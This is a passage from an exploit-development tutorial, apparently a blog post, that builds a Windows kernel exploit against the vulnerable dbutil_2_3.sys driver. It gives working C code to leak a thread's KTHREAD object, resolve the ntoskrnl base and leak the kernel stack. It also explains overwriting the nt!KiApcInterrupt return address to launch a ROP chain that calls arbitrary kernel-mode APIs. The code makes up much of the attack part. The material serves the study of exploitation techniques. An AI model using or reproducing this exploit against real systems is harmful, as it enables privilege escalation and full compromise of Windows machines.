	<span class="p">}</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Close the handle to the "dummy thread"</span>
	<span class="c1">//</span>
	<span class="n">CloseHandle</span><span class="p">(</span>
		<span class="n">dummythreadHandle</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Return the NTSTATUS error</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="n">retValue</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Here is how our <code class="language-plaintext highlighter-rouge">main()</code> function looks now:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Invoke getHandle() to get a handle to dbutil_2_3.sys</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">driverHandle</span> <span class="o">=</span> <span class="n">getHandle</span><span class="p">();</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">driverHandle</span> <span class="o">==</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">driverHandle</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke getthreadHandle() to create our "dummy thread"</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">getthreadHandle</span> <span class="o">=</span> <span class="n">createdummyThread</span><span class="p">();</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">getthreadHandle</span> <span class="o">==</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Couldn't create the </span><span class="se">\"</span><span class="s">dummy thread</span><span class="se">\"</span><span class="s">. Error: 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Created the </span><span class="se">\"</span><span class="s">dummy thread</span><span class="se">\"</span><span class="s">!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke leakKTHREAD()</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">kthread</span> <span class="o">=</span> <span class="n">leakKTHREAD</span><span class="p">(</span><span class="n">getthreadHandle</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling (Negative value? NtQuerySystemInformation returns a negative NTSTATUS if it fails)</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">((</span><span class="o">!</span><span class="n">kthread</span> <span class="o">&amp;</span> <span class="mh">0x80000000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x80000000</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">// kthread is an NTSTATUS code if execution reaches here</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Unable to leak the KTHREAD object of the </span><span class="se">\"</span><span class="s">dummy thread</span><span class="se">\"</span><span class="s">. Error: 0x%llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kthread</span><span class="p">);</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling (kthread isn't negative - but is it a kernel-mode address?)</span>
	<span class="c1">//</span>
	<span class="k">else</span> <span class="k">if</span> <span class="p">((</span><span class="o">!</span><span class="n">kthread</span> <span class="o">&amp;</span> <span class="mh">0xffff00000000000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xffff00000000000</span> <span class="o">||</span> <span class="p">((</span><span class="o">!</span><span class="n">kthread</span> <span class="o">&amp;</span> <span class="mh">0xfffff00000000000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xfffff00000000000</span><span class="p">))</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">// kthread is an NTSTATUS code if execution reaches here</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Unable to leak the KTHREAD object of the </span><span class="se">\"</span><span class="s">dummy thread</span><span class="se">\"</span><span class="s">. Error: 0x%llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kthread</span><span class="p">);</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] </span><span class="se">\"</span><span class="s">Dummy thread</span><span class="se">\"</span><span class="s"> KTHREAD object: 0x%llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kthread</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// getchar() to pause execution</span>
	<span class="c1">//</span>
	<span class="n">getchar</span><span class="p">();</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return an error</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>You’ll notice in the above code we have added a <code class="language-plaintext highlighter-rouge">getchar()</code> call - which will keep our <code class="language-plaintext highlighter-rouge">.exe</code> running after the <code class="language-plaintext highlighter-rouge">KTHREAD</code> object is leaked. After running the <code class="language-plaintext highlighter-rouge">.exe</code>, we can see we leaked the <code class="language-plaintext highlighter-rouge">KTHREAD</code> object of our “dummy thread” at <code class="language-plaintext highlighter-rouge">0xffffa50f0fdb8080</code>. Using WinDbg we can parse this address as a <code class="language-plaintext highlighter-rouge">KTHREAD</code> object.</p>

<p><img src="/images/HVCI23.png" alt="" /></p>

<p><img src="/images/HVCI24.png" alt="" /></p>

<p>We have now successfully located the <code class="language-plaintext highlighter-rouge">KTHREAD</code> object associated with our “dummy” thread.</p>

<h2 id="from-kthread-leak-to-arbitrary-kernel-mode-api-calls">From <code class="language-plaintext highlighter-rouge">KTHREAD</code> Leak To Arbitrary Kernel-Mode API Calls</h2>

<p>With our <code class="language-plaintext highlighter-rouge">KTHREAD</code> leak, we can also use the <code class="language-plaintext highlighter-rouge">!thread</code> WinDbg extension to reveal the call stack for this thread.</p>

<p><img src="/images/HVCI25.png" alt="" /></p>

<p>You’ll notice the function <code class="language-plaintext highlighter-rouge">nt!KiApcInterrupt</code> is a part of this kernel-mode call stack for our “dummy thread”. What is this?</p>

<p>Recall that our “dummy thread” is in a suspended state. When a thread is created on Windows, it first starts out running in kernel-mode. <code class="language-plaintext highlighter-rouge">nt!KiStartUserThread</code> is responsible for this (and we can see this in our call stack). This eventually results in <code class="language-plaintext highlighter-rouge">nt!PspUserThreadStartup</code> being called - which is the initial thread routine, according to <em>Windows Internals Part 1: 7th Edition</em>. Here is where things get interesting.</p>

<p>After the thread is created, the thread is then put in its “suspended state”. A suspended thread, on Windows, is essentially a thread which has an APC queued to it - with the APC “telling the thread” to “do nothing”. An APC is a way to “tack on” some work to a given thread, when the thread is scheduled to execute. What is interesting is that queuing an APC causes an <em>interrupt</em> to be issued. An interrupt is essentially a signal that tells a processor something requires immediate attention. Each processor has a given <em>interrupt request level</em>, or IRQL, in which it is running. APCs get processed in an IRQL level known as <code class="language-plaintext highlighter-rouge">APC_LEVEL</code>, or 1. IRQL values span from 0 - 31 - but usually the most “common” ones are <code class="language-plaintext highlighter-rouge">PASSIVE_LEVEL</code> (0), <code class="language-plaintext highlighter-rouge">APC_LEVEL</code> (1), or <code class="language-plaintext highlighter-rouge">DISPATCH_LEVEL</code> (2). Normal user-mode and kernel-mode code run at <code class="language-plaintext highlighter-rouge">PASSIVE_LEVEL</code>. What is interesting is that when the IRQL of a processor is at 1, for instance (<code class="language-plaintext highlighter-rouge">APC_LEVEL</code>), only interrupts that can be processed at a <em>higher</em> IRQL can interrupt the processor. So, if the processor is running at an IRQL of <code class="language-plaintext highlighter-rouge">APC_LEVEL</code>, kernel-mode/user-mode code wouldn’t run until the processor is brought back down to <code class="language-plaintext highlighter-rouge">PASSIVE_LEVEL</code>.</p>

<p>The function that is called directly before <code class="language-plaintext highlighter-rouge">nt!KiApcInterrupt</code> in our call stack is, as mentioned, <code class="language-plaintext highlighter-rouge">nt!PspUserThreadStartup</code> - which is the “initial thread routine”. If we examine this return address <code class="language-plaintext highlighter-rouge">nt!PspUserThreadStartup + 0x48</code>, we can see the following.</p>

<p><img src="/images/HVCI26.png" alt="" /></p>

<p>The return address contains the instruction <code class="language-plaintext highlighter-rouge">mov rsi, gs:188h</code>. This essentially will load <code class="language-plaintext highlighter-rouge">gs:188h</code> (the GS segment register, when in kernel-mode, points to the KPCR structure, which, at an offset of <code class="language-plaintext highlighter-rouge">0x180</code> points to the <code class="language-plaintext highlighter-rouge">KPRCB</code> structure. This structure contains a pointer to the current thread at an offset of <code class="language-plaintext highlighter-rouge">0x8</code> - so <code class="language-plaintext highlighter-rouge">0x180 + 0x8</code> = <code class="language-plaintext highlighter-rouge">0x188</code>. This means that <code class="language-plaintext highlighter-rouge">gs:188h</code> points to the current thread).</p>

<p><img src="/images/HVCI27.png" alt="" /></p>

<p>When a function is called, a return address is placed onto the stack. What a return address actually is, is the address of the <em>next</em> instruction. You can recall in our IDA screenshot that since <code class="language-plaintext highlighter-rouge">mov rsi, gs:188h</code> is the instruction of the return address, this instruction must have been the “next” instruction to be executed when it was pushed onto the stack. What this means is that whatever the instruction before <code class="language-plaintext highlighter-rouge">mov rsi, gs:188h</code> was caused the “function call” - or change in control-flow - to <code class="language-plaintext highlighter-rouge">ntKiApcInterrupt</code>. This means the instruction before, <code class="language-plaintext highlighter-rouge">mov cr8, r15</code> was responsible for this. Why is this important?</p>

<p>Control registers are a per-processor register. The CR8 control register manages the current IRQL value for a given processor. So, what this means is that whatever is in R15 at the time of this instruction contains the IRQL that the current processor is executing at. How can we know what level this is? All we have to do is look at our call stack again!</p>

<p><img src="/images/HVCI25.png" alt="" /></p>

<p>The function that was called after <code class="language-plaintext highlighter-rouge">nt!PspUserThreadStartup</code> was <code class="language-plaintext highlighter-rouge">nt!KiApcInterrupt</code>. As the name insinuates, the function is responsible for an APC interrupt! We know APC interrupts are processed at IRQL <code class="language-plaintext highlighter-rouge">APC_LEVEL</code> - or 1. However, we also know that only interrupts which are processed at a <em>higher</em> IRQL than the current processors’ IRQL level can cause the processor to be interrupted.</p>

<p>Since we can obviously see that an APC interrupt was dispatched, we can confirm that the processor must have been executing at IRQL <code class="language-plaintext highlighter-rouge">0</code>, or <code class="language-plaintext highlighter-rouge">PASSIVE_LEVEL</code> - which allowed the APC interrupt to occur. This again, comes back to the fact that queuing an APC causes an interrupt. Since APCs are processed at IRQL <code class="language-plaintext highlighter-rouge">APC_LEVEL</code> (1), the processor must be executing at <code class="language-plaintext highlighter-rouge">PASSIVE_LEVEL</code> (0) in order for an interrupt for an APC to be issued.</p>

<p>If we look at return address - we can see <code class="language-plaintext highlighter-rouge">nt!KiApcInterrupt+0x328 (TrapFrame @ ffffa385bba350a0)</code> contains a trap frame - which is basically a representation of the state of execution when an interrupt takes place. If we examine this trap frame - we can see that RIP was executing the instruction after the <code class="language-plaintext highlighter-rouge">mov cr8, r15</code> instruction - which changes the processor where the APC interrupt was dispatched - meaning that when <code class="language-plaintext highlighter-rouge">nt!PspUserThreadStartup</code> executed - it allowed the processor to start allowing things like APCs to interrupt execution!</p>

<p><img src="/images/HVCI28.png" alt="" /></p>

<p>We can come to the conclusion that <code class="language-plaintext highlighter-rouge">nt!KiApcInterrupt</code> was executed as a result of the <code class="language-plaintext highlighter-rouge">mov cr8, r15</code> instruction from <code class="language-plaintext highlighter-rouge">nt!PspUserThreadStartup</code> - which lowered the current processors’ IRQL level to <code class="language-plaintext highlighter-rouge">PASSIVE_LEVEL</code> (0). Since APCs are processed in <code class="language-plaintext highlighter-rouge">APC_LEVEL</code> (1), this allowed the interrupt to occur - because the processor was executing at a <em>lower</em> IRQL before the interrupt was issued.</p>

<p>The point of examining this is to understand the fact that an interrupt basically occurred, as a result of the APC being queued on our “dummy” thread. This APC is telling the thread basically to “do nothing” - which is essentially what a suspended thread is. Here is where this comes into play for us.</p>

<p>When this thread is resumed, the thread will return from the <code class="language-plaintext highlighter-rouge">nt!KiApcInterrupt</code> function. So, what we can do is we can overwrite the return address on the stack for <code class="language-plaintext highlighter-rouge">nt!KiApcInterrtupt</code> with the address of a ROP gadget (the return address on this system used for this blog post is <code class="language-plaintext highlighter-rouge">nt!KiApcInterrupt + 0x328</code> - but that could be subject to change). Then, when we resume the thread eventually (which can be done from user mode) - <code class="language-plaintext highlighter-rouge">nt!KiApcInterrupt</code> will return and it will use our ROP gadget as the return address. This will allow us to construct a ROP chain which will allow us to call arbitrary kernel-mode APIs! The key, first, is to use our leaked <code class="language-plaintext highlighter-rouge">KTHREAD</code> object and parse the <code class="language-plaintext highlighter-rouge">StackBase</code> member - using our arbitrary read primitive - to locate the stack (where this return address lives). To do this, we will being the prototype for our final “exploit” function titled <code class="language-plaintext highlighter-rouge">constructROPChain()</code>.</p>

<p><img src="/images/HVCI29.png" alt="" /></p>

<p>Notice the last parameter our function receives - <code class="language-plaintext highlighter-rouge">ULONG64 ntBase</code>. Since we are going to be using ROP gadgets from <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code>, we need to locate the base address of <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> in order to resolve our needed ROP gadgets. So, this means that we <em>also</em> need a function which resolves the base of <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> using <code class="language-plaintext highlighter-rouge">EnumDeviceDrivers</code>. Here is how we instrument this functionality.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
 * @brief Function used resolve the base address of ntoskrnl.exe.
 * @param Void.
 * @return ntoskrnl.exe base
 */</span>
<span class="n">ULONG64</span> <span class="nf">resolventBase</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Array to receive kernel-mode addresses</span>
	<span class="c1">//</span>
	<span class="n">LPVOID</span><span class="o">*</span> <span class="n">lpImageBase</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Size of the input array</span>
	<span class="c1">//</span>
	<span class="n">DWORD</span> <span class="n">cb</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Size of the array output (all load addresses).</span>
	<span class="c1">//</span>
	<span class="n">DWORD</span> <span class="n">lpcbNeeded</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke EnumDeviceDrivers (and have it fail)</span>
	<span class="c1">// to receive the needed size of lpImageBase</span>
	<span class="c1">//</span>
	<span class="n">EnumDeviceDrivers</span><span class="p">(</span>
		<span class="n">lpImageBase</span><span class="p">,</span>
		<span class="n">cb</span><span class="p">,</span>
		<span class="o">&amp;</span><span class="n">lpcbNeeded</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// lpcbNeeded should contain needed size</span>
	<span class="c1">//</span>
	<span class="n">lpImageBase</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPVOID</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">lpcbNeeded</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">lpImageBase</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">// </span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Assign lpcbNeeded to cb (cb needs to be size of the lpImageBase</span>
	<span class="c1">// array).</span>
	<span class="c1">//</span>
	<span class="n">cb</span> <span class="o">=</span> <span class="n">lpcbNeeded</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke EnumDeviceDrivers properly.</span>
	<span class="c1">//</span>
	<span class="n">BOOL</span> <span class="n">getAddrs</span> <span class="o">=</span> <span class="n">EnumDeviceDrivers</span><span class="p">(</span>
		<span class="n">lpImageBase</span><span class="p">,</span>
		<span class="n">cb</span><span class="p">,</span>
		<span class="o">&amp;</span><span class="n">lpcbNeeded</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">getAddrs</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// The first element of the array is ntoskrnl.exe.</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="n">lpImageBase</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>

<span class="c1">//</span>
<span class="c1">// Execution reaches here if an error occurs</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return an error.</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The above function called <code class="language-plaintext highlighter-rouge">resolventBase()</code> returns the base address of <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> (this type of enumeration couldn’t be done in a low-integrity process. Again, we are assuming medium integrity). This value can then be passed in to our <code class="language-plaintext highlighter-rouge">constructROPChain()</code> function.</p>

<p>If we examine the contents of a <code class="language-plaintext highlighter-rouge">KTHREAD</code> structure, we can see that <code class="language-plaintext highlighter-rouge">StackBase</code> is located at an offset of <code class="language-plaintext highlighter-rouge">0x38</code> within the <code class="language-plaintext highlighter-rouge">KTHREAD</code> structure. This means we can use our arbitrary read primitive to leak the stack address of the <code class="language-plaintext highlighter-rouge">KTHREAD</code> object by dereferencing this offset.</p>

<p><img src="/images/HVCI30.png" alt="" /></p>

<p><img src="/images/HVCI31.png" alt="" /></p>

<p>We then can update <code class="language-plaintext highlighter-rouge">main()</code> to resolve <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> and to leak our kernel-mode stack (while leaving <code class="language-plaintext highlighter-rouge">getchar()</code> to confirm we can leak the stack before letting the process which houses our “dummy thread” terminate.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Invoke getHandle() to get a handle to dbutil_2_3.sys</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">driverHandle</span> <span class="o">=</span> <span class="n">getHandle</span><span class="p">();</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">driverHandle</span> <span class="o">==</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">driverHandle</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke getthreadHandle() to create our "dummy thread"</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">getthreadHandle</span> <span class="o">=</span> <span class="n">createdummyThread</span><span class="p">();</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">getthreadHandle</span> <span class="o">==</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Couldn't create the </span><span class="se">\"</span><span class="s">dummy thread</span><span class="se">\"</span><span class="s">. Error: 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Created the </span><span class="se">\"</span><span class="s">dummy thread</span><span class="se">\"</span><span class="s">!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke leakKTHREAD()</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">kthread</span> <span class="o">=</span> <span class="n">leakKTHREAD</span><span class="p">(</span><span class="n">getthreadHandle</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling (Negative value? NtQuerySystemInformation returns a negative NTSTATUS if it fails)</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">((</span><span class="o">!</span><span class="n">kthread</span> <span class="o">&amp;</span> <span class="mh">0x80000000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x80000000</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">// kthread is an NTSTATUS code if execution reaches here</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Unable to leak the KTHREAD object of the </span><span class="se">\"</span><span class="s">dummy thread</span><span class="se">\"</span><span class="s">. Error: 0x%llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kthread</span><span class="p">);</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling (kthread isn't negative - but is it a kernel-mode address?)</span>
	<span class="c1">//</span>
	<span class="k">else</span> <span class="k">if</span> <span class="p">((</span><span class="o">!</span><span class="n">kthread</span> <span class="o">&amp;</span> <span class="mh">0xffff00000000000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xffff00000000000</span> <span class="o">||</span> <span class="p">((</span><span class="o">!</span><span class="n">kthread</span> <span class="o">&amp;</span> <span class="mh">0xfffff00000000000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xfffff00000000000</span><span class="p">))</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">// kthread is an NTSTATUS code if execution reaches here</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Unable to leak the KTHREAD object of the </span><span class="se">\"</span><span class="s">dummy thread</span><span class="se">\"</span><span class="s">. Error: 0x%llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kthread</span><span class="p">);</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] </span><span class="se">\"</span><span class="s">Dummy thread</span><span class="se">\"</span><span class="s"> KTHREAD object: 0x%llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kthread</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke resolventBase() to retrieve the load address of ntoskrnl.exe</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">ntBase</span> <span class="o">=</span> <span class="n">resolventBase</span><span class="p">();</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">ntBase</span> <span class="o">==</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke constructROPChain() to build our ROP chain and kick off execution</span>
	<span class="c1">//</span>
	<span class="n">BOOL</span> <span class="n">createROP</span> <span class="o">=</span> <span class="n">constructROPChain</span><span class="p">(</span><span class="n">driverHandle</span><span class="p">,</span> <span class="n">getthreadHandle</span><span class="p">,</span> <span class="n">kthread</span><span class="p">,</span> <span class="n">ntBase</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">createROP</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Unable to construct the ROP chain. Error: 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// getchar() to pause execution</span>
	<span class="c1">//</span>
	<span class="n">getchar</span><span class="p">();</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return an error</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

</code></pre></div></div>
<p>After running the exploit (in its current state) we can see that we successfully leaked the stack for our “dummy thread” - located at <code class="language-plaintext highlighter-rouge">0xffffa385b8650000</code>.</p>

<p><img src="/images/HVCI32.png" alt="" /></p>

<p><img src="/images/HVCI33.png" alt="" /></p>

<p>Recall also that the stack grows towards the lower memory addresses - meaning that the stack base won’t actually have (usually) memory paged in/committed. Instead, we have to start going “up” the stack (by going down - since the stack grows towards the lower memory addresses) to see the contents of the “dummy thread’s” stack.</p>

<p><img src="/images/HVCI34.png" alt="" /></p>

